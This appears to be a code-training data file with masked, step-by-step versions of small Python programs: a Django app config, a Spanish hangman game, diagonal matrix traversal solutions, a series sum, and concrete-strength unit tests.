[ 5, 6, 7, 8, 9 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class NombreaplicacionConfig(AppConfig): <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class NombreaplicacionConfig(AppConfig): name = 'nombreAplicacion' <|reserved_special_token_1|> from django.apps import AppConfig class NombreaplicacionConfig(AppConfig): name = 'nombreAplicacion'
flexible
{ "blob_id": "0c7efa99dc22154f9835b277cba5057b213a28e7", "index": 2414, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass NombreaplicacionConfig(AppConfig):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass NombreaplicacionConfig(AppConfig):\n name = 'nombreAplicacion'\n", "step-4": "from django.apps import AppConfig\n\n\nclass NombreaplicacionConfig(AppConfig):\n name = 'nombreAplicacion'\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# -*- coding: utf-8 -*- import random IMAGES = [''' +---+ | | | | | | =========''', ''' +---+ | | O | | | | =========''', ''' +---+ | | O | | | | | =========''', ''' +---+ | | O | /| | | | =========''', ''' +---+ | | O | /|\ | | | =========''', ''' +---+ | | O | /|\ | | | | =========''', ''' +---+ | | O | /|\ | | | / | =========''', ''' +---+ | | O | /|\ | | | / \ | =========''', ''' '''] WORDS = [ 'lavadora', 'secadora', 'sofa', 'gobierno', 'diputado', 'democracia', 'computadora', 'teclado' ] # Funcion que regresa una palabra aleatoria def randomWord(): id = random.randint(0, len(WORDS) - 1) return WORDS[id] def displayBoard(hiddenWord, tries): print(IMAGES[tries] + '\n') print(hiddenWord) print('--- * --- * --- * --- * --- * ---') def run(): word = randomWord() hiddenWord = ['-'] * len(word) tries = 0 while True: displayBoard(hiddenWord, tries) currentLetter = str(raw_input('Escoge una letra: ')) letterIndexes = [] for i in range(len(word)): if word[i] == currentLetter: letterIndexes.append(i) if len(letterIndexes) == 0: tries += 1 # Checa si perdio el jugador if tries == len(IMAGES) - 2: displayBoard(hiddenWord, tries) print('\nLo sentimos, perdiste. La palabra correcta era {}'.format(word)) break else: for id in letterIndexes: hiddenWord[id] = currentLetter letterIndexes = [] # Chea si gano el jugador try: hiddenWord.index('-') except ValueError: print('\nFelicidades. Ganaste. La palabra es: {}'.format(word)) break if __name__ == '__main__': print('B I E N V E N I D O S A A H O R C A D O S') run()
normal
{ "blob_id": "074defa92c8bc5afc221c9c19842d808fbf1e112", "index": 197, "step-1": "<mask token>\n\n\ndef run():\n word = randomWord()\n hiddenWord = ['-'] * len(word)\n tries = 0\n while True:\n displayBoard(hiddenWord, tries)\n currentLetter = str(raw_input('Escoge una letra: '))\n letterIndexes = []\n for i in range(len(word)):\n if word[i] == currentLetter:\n letterIndexes.append(i)\n if len(letterIndexes) == 0:\n tries += 1\n if tries == len(IMAGES) - 2:\n displayBoard(hiddenWord, tries)\n print('\\nLo sentimos, perdiste. La palabra correcta era {}'\n .format(word))\n break\n else:\n for id in letterIndexes:\n hiddenWord[id] = currentLetter\n letterIndexes = []\n try:\n hiddenWord.index('-')\n except ValueError:\n print('\\nFelicidades. Ganaste. La palabra es: {}'.format(word))\n break\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef randomWord():\n id = random.randint(0, len(WORDS) - 1)\n return WORDS[id]\n\n\ndef displayBoard(hiddenWord, tries):\n print(IMAGES[tries] + '\\n')\n print(hiddenWord)\n print('--- * --- * --- * --- * --- * ---')\n\n\ndef run():\n word = randomWord()\n hiddenWord = ['-'] * len(word)\n tries = 0\n while True:\n displayBoard(hiddenWord, tries)\n currentLetter = str(raw_input('Escoge una letra: '))\n letterIndexes = []\n for i in range(len(word)):\n if word[i] == currentLetter:\n letterIndexes.append(i)\n if len(letterIndexes) == 0:\n tries += 1\n if tries == len(IMAGES) - 2:\n displayBoard(hiddenWord, tries)\n print('\\nLo sentimos, perdiste. La palabra correcta era {}'\n .format(word))\n break\n else:\n for id in letterIndexes:\n hiddenWord[id] = currentLetter\n letterIndexes = []\n try:\n hiddenWord.index('-')\n except ValueError:\n print('\\nFelicidades. Ganaste. La palabra es: {}'.format(word))\n break\n\n\nif __name__ == '__main__':\n print('B I E N V E N I D O S A A H O R C A D O S')\n run()\n", "step-3": "<mask token>\nIMAGES = [\n \"\"\"\n\n +---+\n | |\n |\n |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n\n +---+\n | |\n O |\n |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n\n +---+\n | |\n O |\n | |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /| |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /|\\\\ |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /|\\\\ |\n | |\n |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /|\\\\ |\n | |\n / |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /|\\\\ |\n | |\n / \\\\ |\n =========\"\"\"\n , '\\n']\nWORDS = ['lavadora', 'secadora', 'sofa', 'gobierno', 'diputado',\n 'democracia', 'computadora', 'teclado']\n\n\ndef randomWord():\n id = random.randint(0, len(WORDS) - 1)\n return WORDS[id]\n\n\ndef displayBoard(hiddenWord, tries):\n print(IMAGES[tries] + '\\n')\n print(hiddenWord)\n print('--- * --- * --- * --- * --- * ---')\n\n\ndef run():\n word = randomWord()\n hiddenWord = ['-'] * len(word)\n tries = 0\n while True:\n displayBoard(hiddenWord, tries)\n currentLetter = str(raw_input('Escoge una letra: '))\n letterIndexes = []\n for i in range(len(word)):\n if word[i] == currentLetter:\n letterIndexes.append(i)\n if len(letterIndexes) == 0:\n tries += 1\n if tries == len(IMAGES) - 2:\n displayBoard(hiddenWord, tries)\n print('\\nLo sentimos, perdiste. La palabra correcta era {}'\n .format(word))\n break\n else:\n for id in letterIndexes:\n hiddenWord[id] = currentLetter\n letterIndexes = []\n try:\n hiddenWord.index('-')\n except ValueError:\n print('\\nFelicidades. Ganaste. La palabra es: {}'.format(word))\n break\n\n\nif __name__ == '__main__':\n print('B I E N V E N I D O S A A H O R C A D O S')\n run()\n", "step-4": "import random\nIMAGES = [\n \"\"\"\n\n +---+\n | |\n |\n |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n\n +---+\n | |\n O |\n |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n\n +---+\n | |\n O |\n | |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /| |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /|\\\\ |\n |\n |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /|\\\\ |\n | |\n |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /|\\\\ |\n | |\n / |\n =========\"\"\"\n ,\n \"\"\"\n \n +---+\n | |\n O |\n /|\\\\ |\n | |\n / \\\\ |\n =========\"\"\"\n , '\\n']\nWORDS = ['lavadora', 'secadora', 'sofa', 'gobierno', 'diputado',\n 'democracia', 'computadora', 'teclado']\n\n\ndef randomWord():\n id = random.randint(0, len(WORDS) - 1)\n return WORDS[id]\n\n\ndef displayBoard(hiddenWord, tries):\n print(IMAGES[tries] + '\\n')\n print(hiddenWord)\n print('--- * --- * --- * --- * --- * ---')\n\n\ndef run():\n word = randomWord()\n hiddenWord = ['-'] * len(word)\n tries = 0\n while True:\n displayBoard(hiddenWord, tries)\n currentLetter = str(raw_input('Escoge una letra: '))\n letterIndexes = []\n for i in range(len(word)):\n if word[i] == currentLetter:\n letterIndexes.append(i)\n if len(letterIndexes) == 0:\n tries += 1\n if tries == len(IMAGES) - 2:\n displayBoard(hiddenWord, tries)\n print('\\nLo sentimos, perdiste. La palabra correcta era {}'\n .format(word))\n break\n else:\n for id in letterIndexes:\n hiddenWord[id] = currentLetter\n letterIndexes = []\n try:\n hiddenWord.index('-')\n except ValueError:\n print('\\nFelicidades. Ganaste. La palabra es: {}'.format(word))\n break\n\n\nif __name__ == '__main__':\n print('B I E N V E N I D O S A A H O R C A D O S')\n run()\n", "step-5": "# -*- coding: utf-8 -*-\n\nimport random\n\nIMAGES = ['''\n\n +---+\n | |\n |\n |\n |\n |\n =========''', '''\n\n +---+\n | |\n O |\n |\n |\n |\n =========''', '''\n\n +---+\n | |\n O |\n | |\n |\n |\n =========''', '''\n \n +---+\n | |\n O |\n /| |\n |\n |\n =========''', '''\n \n +---+\n | |\n O |\n /|\\ |\n |\n |\n =========''', '''\n \n +---+\n | |\n O |\n /|\\ |\n | |\n |\n =========''', '''\n \n +---+\n | |\n O |\n /|\\ |\n | |\n / |\n =========''', '''\n \n +---+\n | |\n O |\n /|\\ |\n | |\n / \\ |\n =========''', '''\n''']\n\nWORDS = [\n 'lavadora',\n 'secadora',\n 'sofa',\n 'gobierno',\n 'diputado',\n 'democracia',\n 'computadora',\n 'teclado'\n]\n\n# Funcion que regresa una palabra aleatoria\ndef randomWord():\n id = random.randint(0, len(WORDS) - 1)\n return WORDS[id]\n\ndef displayBoard(hiddenWord, tries):\n print(IMAGES[tries] + '\\n')\n print(hiddenWord)\n print('--- * --- * --- * --- * --- * ---')\n\ndef run():\n word = randomWord()\n hiddenWord = ['-'] * len(word)\n tries = 0\n\n while True:\n displayBoard(hiddenWord, tries)\n currentLetter = str(raw_input('Escoge una letra: '))\n\n letterIndexes = []\n for i in range(len(word)):\n if word[i] == currentLetter:\n letterIndexes.append(i)\n\n if len(letterIndexes) == 0:\n tries += 1\n\n # Checa si perdio el jugador\n if tries == len(IMAGES) - 2:\n displayBoard(hiddenWord, tries)\n print('\\nLo sentimos, perdiste. La palabra correcta era {}'.format(word))\n break\n else:\n for id in letterIndexes:\n hiddenWord[id] = currentLetter\n\n letterIndexes = []\n\n # Chea si gano el jugador\n try:\n hiddenWord.index('-')\n except ValueError:\n print('\\nFelicidades. Ganaste. La palabra es: {}'.format(word))\n break\n\nif __name__ == '__main__':\n print('B I E N V E N I D O S A A H O R C A D O S')\n run()", "step-ids": [ 1, 4, 5, 6, 7 ] }
[ 1, 4, 5, 6, 7 ]
#Diagonal Traverse #Given a matrix of M x N elements (M rows, N columns), return all elements of the matrix in diagonal order as shown in the below image. #Example: #Input: #[ # [ 1, 2, 3 ], # [ 4, 5, 6 ], # [ 7, 8, 9 ] #] #Output: [1,2,4,7,5,3,6,8,9] #Explanation: #Note: # The total number of elements of the given matrix will not exceed 10,000. class Solution(object): def findDiagonalOrder(self, matrix): """ :type matrix: List[List[int]] :rtype: List[int] """ r = [] if(not matrix) : return r m,n = map(len, [matrix, matrix and matrix[0]]) for d in range(m+n-1) : #0,1,2,3,4 if(d%2 == 1) : #change direction for i in range(max(0, d-n+1), min(d+1,m)) : r += [ matrix[i][d-i] ] # else : for i in range(max(0, d-m+1), min(d+1,n)) : r += [ matrix[d-i][i] ] # return r #Deque & Dictionary - O(MN) #1. Property for the diagonals is that: row + col = constant. This constant varies from 0 to M+N-2. #2. The direction of the diagonal is top to bottom or bottom to top. The direction depends if constant #is even or odd. #3.Iterate the matrix. Maintain a dictionary with key as integer and value as a deque. #4.The key will be row+col and deque will have all elements which have the same row +col. Depending #5. whether row+col is even or odd, we will either append or appendleft. from collections import deque, defaultdict class Solution(object): def findDiagonalOrder(self, matrix): """ :type matrix: List[List[int]] :rtype: List[int] """ if (not matrix) : return [] M, N = map(len, [matrix, matrix[0]]) result = defaultdict(deque) max_sum = M+N-2 for i in range(M): for j in range(N): s = i+j if s&1: result[s].append(matrix[i][j]) else: result[s].appendleft(matrix[i][j]) output = [] for s in range(max_sum+1): output.extend(result[s]) return output #Within diagonal row+col is same, so we first sort index pairs by row+col, and within diagonal sort #them either by row or by column index depending if row+col is odd/even. def findDiagonalOrder(self, matrix): l = [(i, j) for i in range(len(matrix)) for j in range(len(matrix[0]))] l.sort(key=lambda x: sum(x) * 100000 - x[sum(x)%2]) return [matrix[x][y] for x, y in l] def findDiagonalOrder(self, matrix): l = [[i,j] for i in range(len(matrix)) for j in range(len(matrix[0]))] l.sort(key=lambda x: float(x[0]+x[1])-float(x[(x[0]+x[1])%2])*0.00000001 ) return [matrix[x][y] for [x,y] in l] #annotate the matrix entries with coordinate information so that we can just sort them by that. def findDiagonalOrder(self, matrix): entries = [(i+j, (j, i)[(i^j)&1], val) for i, row in enumerate(matrix) for j, val in enumerate(row)] return [e[2] for e in sorted(entries)] #just walk over the matrix in the desired order. My d is the diagonal number, i.e., i+j. So I can #compute j as d-i. def findDiagonalOrder(self, matrix): m, n = len(matrix), len(matrix and matrix[0]) return [matrix[i][d-i] for d in range(m+n-1) for i in range(max(0, d-n+1), min(d+1, m))[::d%2*2-1]] #Why the range range(max(0, d-n+1), min(d+1, m))? Well I need 0 <= i < m and 0 <= j < n. As said #above, j is d-i, so I have 0 <= d-i < n. Isolating i gives me i <= d and i > d-n. Since we're #dealing with integers, they're equivalent to i < d+1 and i >= d-n+1. So my i needs to be in the #range [0, m) as well as in the range [d-n+1, d+1). And my range is simply the intersection of those #two ranges. #Simple two step approach: #1- Group numbers according to diagonals. Sum of row+col in same diagonal is same. #2- Reverse numbers in odd diagonals before adding numbers to result list. # def findDiagonalOrder(self, matrix): """ :type matrix: List[List[int]] :rtype: List[int] """ result = [ ] dd = collections.defaultdict(list) if not matrix: return result # Step 1: Numbers are grouped by the diagonals. # Numbers in same diagonal have same value of row+col for i in range(0, len(matrix)): for j in range(0, len(matrix[0])): dd[i+j+1].append(matrix[i][j]) # starting indices from 1, hence i+j+1. # Step 2: Place diagonals in the result list. # But remember to reverse numbers in odd diagonals. for k, v in dd.iteritems(): if k%2==1: dd[k].reverse() result += dd[k] return result for k, v in dd.iteritems(): if k % 2 == 1: result += v[::-1] else: result += v return result
normal
{ "blob_id": "0a5ea7ad0ee34c8a3f0299908c61fa0a09139d2f", "index": 8558, "step-1": "#Diagonal Traverse\n#Given a matrix of M x N elements (M rows, N columns), return all elements of the matrix in diagonal\norder as shown in the below image.\n#Example:\n#Input:\n#[\n# [ 1, 2, 3 ],\n# [ 4, 5, 6 ],\n# [ 7, 8, 9 ]\n#]\n#Output: [1,2,4,7,5,3,6,8,9]\n#Explanation:\n#Note:\n# The total number of elements of the given matrix will not exceed 10,000.\n\nclass Solution(object):\n def findDiagonalOrder(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: List[int]\n \"\"\"\n\n r = []\n if(not matrix) : return r\n\n m,n = map(len, [matrix, matrix and matrix[0]])\n\n for d in range(m+n-1) : #0,1,2,3,4\n if(d%2 == 1) :\n #change direction\n for i in range(max(0, d-n+1), min(d+1,m)) :\n r += [ matrix[i][d-i] ] #\n else :\n for i in range(max(0, d-m+1), min(d+1,n)) :\n r += [ matrix[d-i][i] ] #\n return r\n\n\n#Deque & Dictionary - O(MN)\n#1. Property for the diagonals is that: row + col = constant. This constant varies from 0 to M+N-2.\n#2. The direction of the diagonal is top to bottom or bottom to top. The direction depends if constant\n#is even or odd.\n#3.Iterate the matrix. Maintain a dictionary with key as integer and value as a deque.\n#4.The key will be row+col and deque will have all elements which have the same row +col. Depending\n#5. whether row+col is even or odd, we will either append or appendleft.\nfrom collections import deque, defaultdict\n\nclass Solution(object):\n def findDiagonalOrder(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: List[int]\n \"\"\"\n if (not matrix) :\n return []\n M, N = map(len, [matrix, matrix[0]])\n result = defaultdict(deque)\n max_sum = M+N-2\n for i in range(M):\n for j in range(N):\n s = i+j\n if s&1:\n result[s].append(matrix[i][j])\n else:\n result[s].appendleft(matrix[i][j])\n output = []\n for s in range(max_sum+1):\n output.extend(result[s])\n return output\n\n\n#Within diagonal row+col is same, so we first sort index pairs by row+col, and within diagonal sort\n#them either by row or by column index depending if row+col is odd/even.\n\ndef findDiagonalOrder(self, matrix):\n l = [(i, j) for i in range(len(matrix)) for j in range(len(matrix[0]))]\n l.sort(key=lambda x: sum(x) * 100000 - x[sum(x)%2])\n return [matrix[x][y] for x, y in l]\n\n\ndef findDiagonalOrder(self, matrix):\n l = [[i,j] for i in range(len(matrix)) for j in range(len(matrix[0]))]\n l.sort(key=lambda x: float(x[0]+x[1])-float(x[(x[0]+x[1])%2])*0.00000001 )\n return [matrix[x][y] for [x,y] in l]\n\n#annotate the matrix entries with coordinate information so that we can just sort them by that.\ndef findDiagonalOrder(self, matrix):\n entries = [(i+j, (j, i)[(i^j)&1], val)\n for i, row in enumerate(matrix)\n for j, val in enumerate(row)]\n return [e[2] for e in sorted(entries)]\n\n#just walk over the matrix in the desired order. My d is the diagonal number, i.e., i+j. So I can\n#compute j as d-i.\ndef findDiagonalOrder(self, matrix):\n m, n = len(matrix), len(matrix and matrix[0])\n return [matrix[i][d-i]\n for d in range(m+n-1)\n for i in range(max(0, d-n+1), min(d+1, m))[::d%2*2-1]]\n\n\n#Why the range range(max(0, d-n+1), min(d+1, m))? Well I need 0 <= i < m and 0 <= j < n. As said\n#above, j is d-i, so I have 0 <= d-i < n. Isolating i gives me i <= d and i > d-n. Since we're\n#dealing with integers, they're equivalent to i < d+1 and i >= d-n+1. So my i needs to be in the\n#range [0, m) as well as in the range [d-n+1, d+1). And my range is simply the intersection of those\n#two ranges.\n\n\n#Simple two step approach:\n#1- Group numbers according to diagonals. Sum of row+col in same diagonal is same.\n#2- Reverse numbers in odd diagonals before adding numbers to result list.\n#\n def findDiagonalOrder(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: List[int]\n \"\"\"\n result = [ ]\n dd = collections.defaultdict(list)\n if not matrix: return result\n # Step 1: Numbers are grouped by the diagonals.\n # Numbers in same diagonal have same value of row+col\n for i in range(0, len(matrix)):\n for j in range(0, len(matrix[0])):\n dd[i+j+1].append(matrix[i][j]) # starting indices from 1, hence i+j+1.\n # Step 2: Place diagonals in the result list.\n # But remember to reverse numbers in odd diagonals.\n for k, v in dd.iteritems():\n if k%2==1: dd[k].reverse()\n result += dd[k]\n return result\n\n\nfor k, v in dd.iteritems():\n if k % 2 == 1:\n result += v[::-1]\n else:\n result += v\nreturn result\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
def somaSerie(valor): soma = 0 for i in range(valor): soma += ((i**2)+1)/(i+3) return soma a = int(input("Digite o 1º Numero :-> ")) result = somaSerie(a) print(result)
normal
{ "blob_id": "8114d8162bab625854804d1df2b4a9c11818d35e", "index": 3747, "step-1": "<mask token>\n", "step-2": "def somaSerie(valor):\n soma = 0\n for i in range(valor):\n soma += (i ** 2 + 1) / (i + 3)\n return soma\n\n\n<mask token>\n", "step-3": "def somaSerie(valor):\n soma = 0\n for i in range(valor):\n soma += (i ** 2 + 1) / (i + 3)\n return soma\n\n\n<mask token>\nprint(result)\n", "step-4": "def somaSerie(valor):\n soma = 0\n for i in range(valor):\n soma += (i ** 2 + 1) / (i + 3)\n return soma\n\n\na = int(input('Digite o 1º Numero :-> '))\nresult = somaSerie(a)\nprint(result)\n", "step-5": "def somaSerie(valor):\n soma = 0\n for i in range(valor):\n soma += ((i**2)+1)/(i+3)\n return soma\n\na = int(input(\"Digite o 1º Numero :-> \"))\nresult = somaSerie(a)\nprint(result)", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import unittest import calla.test TestCase = calla.test.TestCase from math import pi from calla.TB.RC_strength import * class test(TestCase): def test1(self): """ 标准验证:铁路混凝土结构设计原理(容许应力计算法).ppt 例1 """ b = 200 h0 = 411 As = 763 n = 15 M = 31.5 r = beam_strength.cal_σ1(b,h0,As,n,M) print('σc,σs,x = ',r) # 控制误差范围1% assert abs(r[0]-5.26)/5.26<0.01 assert abs(r[1]-115.3)/115.3<0.01 assert abs(r[2]-167.1)/167.1<0.01 def test2(self): """ 标准验证:混凝土结构基本原理答案吕晓寅版第12章 """ b = 250 h = 350 l0 = 5 a = 40 a_ = 40 Ec = 3.0E4 #MPa As = 1017 As_ = 1017 n = 10 M = 20 #kN N = 450 r = column_strength.solve_stress(b,h,l0,a,a_,Ec,As,As_,n,M,N,0) print('σc,σs,σs\'\n',r) assert abs(r[0]-7.56)/7.56<0.01 assert abs(r[2]-67.8)/67.8<0.01 def test3(self): #随意修改测试 b = 600 h0 = 937.5 As = 3434.375 n = 10 M = 700 V = 300 r = beam_strength.cal_σ1(b,h0,As,n,M) s = beam_strength.shear_stress(b,h0,As,n,V) print('σc,σs,x = \n',r) print('τ = ',s) M1 = 10 M2 = 10 σs = r[1] Es = 2.0E5 d = 28 a = 62.5 n1 = As/(pi/4*d**2) wf = crack_width.solve_wf(M1,M2,M,σs,Es,d,a,b,n1) print('wf = ',wf) def test_column_strength(self): #随意修改测试 b = 1200 h = 1200 l0 = 5 a = 90 a_ = 90 Ec = 3.45E4 #MPa As = 12316 As_ = 12316 n = 10 M = 2800 #kN N = 14000 r = column_strength.solve_stress(b,h,l0,a,a_,Ec,As,As_,n,M,N,0) print('σc,σs,σs\'\n',r) if __name__ == '__main__': unittest.main()
normal
{ "blob_id": "acb9b6128a3432aecf3498e1d27bdff204fee0f4", "index": 8110, "step-1": "<mask token>\n\n\nclass test(TestCase):\n <mask token>\n\n def test2(self):\n \"\"\"\n 标准验证:混凝土结构基本原理答案吕晓寅版第12章\n \"\"\"\n b = 250\n h = 350\n l0 = 5\n a = 40\n a_ = 40\n Ec = 30000.0\n As = 1017\n As_ = 1017\n n = 10\n M = 20\n N = 450\n r = column_strength.solve_stress(b, h, l0, a, a_, Ec, As, As_, n, M,\n N, 0)\n print(\"σc,σs,σs'\\n\", r)\n assert abs(r[0] - 7.56) / 7.56 < 0.01\n assert abs(r[2] - 67.8) / 67.8 < 0.01\n\n def test3(self):\n b = 600\n h0 = 937.5\n As = 3434.375\n n = 10\n M = 700\n V = 300\n r = beam_strength.cal_σ1(b, h0, As, n, M)\n s = beam_strength.shear_stress(b, h0, As, n, V)\n print('σc,σs,x = \\n', r)\n print('τ = ', s)\n M1 = 10\n M2 = 10\n σs = r[1]\n Es = 200000.0\n d = 28\n a = 62.5\n n1 = As / (pi / 4 * d ** 2)\n wf = crack_width.solve_wf(M1, M2, M, σs, Es, d, a, b, n1)\n print('wf = ', wf)\n\n def test_column_strength(self):\n b = 1200\n h = 1200\n l0 = 5\n a = 90\n a_ = 90\n Ec = 34500.0\n As = 12316\n As_ = 12316\n n = 10\n M = 2800\n N = 14000\n r = column_strength.solve_stress(b, h, l0, a, a_, Ec, As, As_, n, M,\n N, 0)\n print(\"σc,σs,σs'\\n\", r)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass test(TestCase):\n\n def test1(self):\n \"\"\"\n 标准验证:铁路混凝土结构设计原理(容许应力计算法).ppt 例1\n \"\"\"\n b = 200\n h0 = 411\n As = 763\n n = 15\n M = 31.5\n r = beam_strength.cal_σ1(b, h0, As, n, M)\n print('σc,σs,x = ', r)\n assert abs(r[0] - 5.26) / 5.26 < 0.01\n assert abs(r[1] - 115.3) / 115.3 < 0.01\n assert abs(r[2] - 167.1) / 167.1 < 0.01\n\n def test2(self):\n \"\"\"\n 标准验证:混凝土结构基本原理答案吕晓寅版第12章\n \"\"\"\n b = 250\n h = 350\n l0 = 5\n a = 40\n a_ = 40\n Ec = 30000.0\n As = 1017\n As_ = 1017\n n = 10\n M = 20\n N = 450\n r = column_strength.solve_stress(b, h, l0, a, a_, Ec, As, As_, n, M,\n N, 0)\n print(\"σc,σs,σs'\\n\", r)\n assert abs(r[0] - 7.56) / 7.56 < 0.01\n assert abs(r[2] - 67.8) / 67.8 < 0.01\n\n def test3(self):\n b = 600\n h0 = 937.5\n As = 3434.375\n n = 10\n M = 700\n V = 300\n r = beam_strength.cal_σ1(b, h0, As, n, M)\n s = beam_strength.shear_stress(b, h0, As, n, V)\n print('σc,σs,x = \\n', r)\n print('τ = ', s)\n M1 = 10\n M2 = 10\n σs = r[1]\n Es = 200000.0\n d = 28\n a = 62.5\n n1 = As / (pi / 4 * d ** 2)\n wf = crack_width.solve_wf(M1, M2, M, σs, Es, d, a, b, n1)\n print('wf = ', wf)\n\n def test_column_strength(self):\n b = 1200\n h = 1200\n l0 = 5\n a = 90\n a_ = 90\n Ec = 34500.0\n As = 12316\n As_ = 12316\n n = 10\n M = 2800\n N = 14000\n r = column_strength.solve_stress(b, h, l0, a, a_, Ec, As, As_, n, M,\n N, 0)\n print(\"σc,σs,σs'\\n\", r)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass test(TestCase):\n\n def test1(self):\n \"\"\"\n 标准验证:铁路混凝土结构设计原理(容许应力计算法).ppt 例1\n \"\"\"\n b = 200\n h0 = 411\n As = 763\n n = 15\n M = 31.5\n r = beam_strength.cal_σ1(b, h0, As, n, M)\n print('σc,σs,x = ', r)\n assert abs(r[0] - 5.26) / 5.26 < 0.01\n assert abs(r[1] - 115.3) / 115.3 < 0.01\n assert abs(r[2] - 167.1) / 167.1 < 0.01\n\n def test2(self):\n \"\"\"\n 标准验证:混凝土结构基本原理答案吕晓寅版第12章\n \"\"\"\n b = 250\n h = 350\n l0 = 5\n a = 40\n a_ = 40\n Ec = 30000.0\n As = 1017\n As_ = 1017\n n = 10\n M = 20\n N = 450\n r = column_strength.solve_stress(b, h, l0, a, a_, Ec, As, As_, n, M,\n N, 0)\n print(\"σc,σs,σs'\\n\", r)\n assert abs(r[0] - 7.56) / 7.56 < 0.01\n assert abs(r[2] - 67.8) / 67.8 < 0.01\n\n def test3(self):\n b = 600\n h0 = 937.5\n As = 3434.375\n n = 10\n M = 700\n V = 300\n r = beam_strength.cal_σ1(b, h0, As, n, M)\n s = beam_strength.shear_stress(b, h0, As, n, V)\n print('σc,σs,x = \\n', r)\n print('τ = ', s)\n M1 = 10\n M2 = 10\n σs = r[1]\n Es = 200000.0\n d = 28\n a = 62.5\n n1 = As / (pi / 4 * d ** 2)\n wf = crack_width.solve_wf(M1, M2, M, σs, Es, d, a, b, n1)\n print('wf = ', wf)\n\n def test_column_strength(self):\n b = 1200\n h = 1200\n l0 = 5\n a = 90\n a_ = 90\n Ec = 34500.0\n As = 12316\n As_ = 12316\n n = 10\n M = 2800\n N = 14000\n r = column_strength.solve_stress(b, h, l0, a, a_, Ec, As, As_, n, M,\n N, 0)\n print(\"σc,σs,σs'\\n\", r)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-4": "import unittest\nimport calla.test\nTestCase = calla.test.TestCase\nfrom math import pi\nfrom calla.TB.RC_strength import *\n\n\nclass test(TestCase):\n\n def test1(self):\n \"\"\"\n 标准验证:铁路混凝土结构设计原理(容许应力计算法).ppt 例1\n \"\"\"\n b = 200\n h0 = 411\n As = 763\n n = 15\n M = 31.5\n r = beam_strength.cal_σ1(b, h0, As, n, M)\n print('σc,σs,x = ', r)\n assert abs(r[0] - 5.26) / 5.26 < 0.01\n assert abs(r[1] - 115.3) / 115.3 < 0.01\n assert abs(r[2] - 167.1) / 167.1 < 0.01\n\n def test2(self):\n \"\"\"\n 标准验证:混凝土结构基本原理答案吕晓寅版第12章\n \"\"\"\n b = 250\n h = 350\n l0 = 5\n a = 40\n a_ = 40\n Ec = 30000.0\n As = 1017\n As_ = 1017\n n = 10\n M = 20\n N = 450\n r = column_strength.solve_stress(b, h, l0, a, a_, Ec, As, As_, n, M,\n N, 0)\n print(\"σc,σs,σs'\\n\", r)\n assert abs(r[0] - 7.56) / 7.56 < 0.01\n assert abs(r[2] - 67.8) / 67.8 < 0.01\n\n def test3(self):\n b = 600\n h0 = 937.5\n As = 3434.375\n n = 10\n M = 700\n V = 300\n r = beam_strength.cal_σ1(b, h0, As, n, M)\n s = beam_strength.shear_stress(b, h0, As, n, V)\n print('σc,σs,x = \\n', r)\n print('τ = ', s)\n M1 = 10\n M2 = 10\n σs = r[1]\n Es = 200000.0\n d = 28\n a = 62.5\n n1 = As / (pi / 4 * d ** 2)\n wf = crack_width.solve_wf(M1, M2, M, σs, Es, d, a, b, n1)\n print('wf = ', wf)\n\n def test_column_strength(self):\n b = 1200\n h = 1200\n l0 = 5\n a = 90\n a_ = 90\n Ec = 34500.0\n As = 12316\n As_ = 12316\n n = 10\n M = 2800\n N = 14000\n r = column_strength.solve_stress(b, h, l0, a, a_, Ec, As, As_, n, M,\n N, 0)\n print(\"σc,σs,σs'\\n\", r)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "import unittest\nimport calla.test\nTestCase = calla.test.TestCase\nfrom math import pi\nfrom calla.TB.RC_strength import *\n\nclass test(TestCase):\n def test1(self):\n \"\"\"\n 标准验证:铁路混凝土结构设计原理(容许应力计算法).ppt 例1\n \"\"\"\n b = 200\n h0 = 411\n As = 763\n n = 15\n M = 31.5\n r = beam_strength.cal_σ1(b,h0,As,n,M)\n print('σc,σs,x = ',r)\n # 控制误差范围1%\n assert abs(r[0]-5.26)/5.26<0.01\n assert abs(r[1]-115.3)/115.3<0.01\n assert abs(r[2]-167.1)/167.1<0.01\n\n def test2(self):\n \"\"\"\n 标准验证:混凝土结构基本原理答案吕晓寅版第12章\n \"\"\"\n b = 250\n h = 350\n l0 = 5\n a = 40\n a_ = 40\n Ec = 3.0E4 #MPa\n As = 1017\n As_ = 1017\n n = 10\n M = 20 #kN\n N = 450\n r = column_strength.solve_stress(b,h,l0,a,a_,Ec,As,As_,n,M,N,0)\n print('σc,σs,σs\\'\\n',r)\n assert abs(r[0]-7.56)/7.56<0.01\n assert abs(r[2]-67.8)/67.8<0.01\n\n def test3(self): #随意修改测试\n b = 600\n h0 = 937.5\n As = 3434.375\n n = 10\n M = 700\n V = 